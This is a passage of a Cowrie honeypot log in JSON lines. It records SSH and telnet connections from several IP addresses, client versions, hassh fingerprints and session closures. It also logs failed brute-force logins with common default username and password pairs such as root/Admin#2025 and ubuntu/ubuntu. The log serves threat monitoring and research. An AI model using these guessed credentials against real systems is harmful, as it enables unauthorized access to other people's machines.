ha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:47:57.680220Z","src_ip":"80.94.92.182","session":"c7b0129e9130","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"ZXCVASDFQWER!@#$","message":"login attempt [sol/ZXCVASDFQWER!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:47:58.770219Z","src_ip":"80.94.92.182","session":"c7b0129e9130","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":53044,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3df7a386b40","protocol":"ssh","message":"New connection: 103.75.199.4:53044 (159.203.135.109:22) [session: b3df7a386b40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:47:59.469599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:47:59.474720Z","src_ip":"103.75.199.4","session":"b3df7a386b40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:47:59.570364Z","src_ip":"103.75.199.4","session":"b3df7a386b40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:47:59.857181Z","src_ip":"103.75.199.4","session":"b3df7a386b40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:48:00.034123Z","src_ip":"80.94.92.182","session":"c7b0129e9130","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:48:00.962197Z","src_ip":"103.75.199.4","session":"b3df7a386b40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.40.37.143","src_port":50976,"dst_ip":"10.17.0.5","dst_port":22,"session":"57783a8a0b44","protocol":"ssh","message":"New connection: 78.40.37.143:50976 (10.17.0.5:22) [session: 57783a8a0b44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:48:08.399235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:48:08.403991Z","src_ip":"78.40.37.143","session":"57783a8a0b44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:48:08.488449Z","src_ip":"78.40.37.143","session":"57783a8a0b44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin#2025","message":"login attempt [root/Admin#2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:48:08.837329Z","src_ip":"78.40.37.143","session":"57783a8a0b44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:48:09.920657Z","src_ip":"78.40.37.143","session":"57783a8a0b44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":44222,"dst_ip":"159.203.135.109","dst_port":22,"session":"59d2868c3491","protocol":"ssh","message":"New connection: 80.94.92.171:44222 (159.203.135.109:22) [session: 59d2868c3491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:48:19.854011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:48:20.246896Z","src_ip":"80.94.92.171","session":"59d2868c3491","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:48:20.250813Z","src_ip":"80.94.92.171","session":"59d2868c3491","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":49452,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c7a3fcc8004","protocol":"ssh","message":"New connection: 103.75.199.4:49452 (159.203.135.109:22) [session: 7c7a3fcc8004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:48:21.309157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:48:21.314073Z","src_ip":"103.75.199.4","session":"7c7a3fcc8004","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:48:21.406091Z","src_ip":"103.75.199.4","session":"7c7a3fcc8004","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:48:21.657548Z","src_ip":"80.94.92.171","session":"59d2868c3491","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:48:21.683193Z","src_ip":"103.75.199.4","session":"7c7a3fcc8004","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:48:22.777112Z","src_ip":"103.75.199.4","session":"7c7a3fcc8004","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:48:22.832927Z","src_ip":"80.94.92.171","session":"59d2868c3491","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":35450,"dst_ip":"159.203.135.109","dst_port":22,"session":"a557fb39da3a","protocol":"ssh","message":"New connection: 103.75.199.4:35450 (159.203.135.109:22) [session: a557fb39da3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:48:43.134101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:48:43.138705Z","src_ip":"103.75.199.4","session":"a557fb39da3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:48:43.230700Z","src_ip":"103.75.199.4","session":"a557fb39da3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"rocky","message":"login attempt [rocky/rocky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:48:43.506813Z","src_ip":"103.75.199.4","session":"a557fb39da3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:48:44.601991Z","src_ip":"103.75.199.4","session":"a557fb39da3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.154.34.232","src_port":46762,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3265b06ce27","protocol":"ssh","message":"New connection: 94.154.34.232:46762 (10.17.0.5:22) [session: a3265b06ce27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:49:00.592591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:49:00.601287Z","src_ip":"94.154.34.232","session":"a3265b06ce27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:49:00.727731Z","src_ip":"94.154.34.232","session":"a3265b06ce27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linuxacademy","password":"123456","message":"login attempt [linuxacademy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:49:01.251257Z","src_ip":"94.154.34.232","session":"a3265b06ce27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:49:02.378972Z","src_ip":"94.154.34.232","session":"a3265b06ce27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.205.35.130","src_port":40510,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc22b57d2c3f","protocol":"telnet","message":"New connection: 82.205.35.130:40510 (10.17.0.5:23) [session: bc22b57d2c3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:49:03.505100Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":45018,"dst_ip":"159.203.135.109","dst_port":22,"session":"a872fb4f8f1e","protocol":"ssh","message":"New connection: 103.75.199.4:45018 (159.203.135.109:22) [session: a872fb4f8f1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:49:04.917470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:49:04.922343Z","src_ip":"103.75.199.4","session":"a872fb4f8f1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:49:05.013777Z","src_ip":"103.75.199.4","session":"a872fb4f8f1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wso2","password":"wso2","message":"login attempt [wso2/wso2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:49:05.290847Z","src_ip":"103.75.199.4","session":"a872fb4f8f1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:49:06.385205Z","src_ip":"103.75.199.4","session":"a872fb4f8f1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.243.147.237","src_port":34176,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9fd6b111ce1","protocol":"ssh","message":"New connection: 162.243.147.237:34176 (159.203.135.109:22) [session: e9fd6b111ce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:49:09.324119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:49:09.329093Z","src_ip":"162.243.147.237","session":"e9fd6b111ce1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:49:09.407444Z","src_ip":"162.243.147.237","session":"e9fd6b111ce1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:49:09.780133Z","src_ip":"162.243.147.237","session":"e9fd6b111ce1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:49:10.861940Z","src_ip":"162.243.147.237","session":"e9fd6b111ce1","protocol":"ssh"}
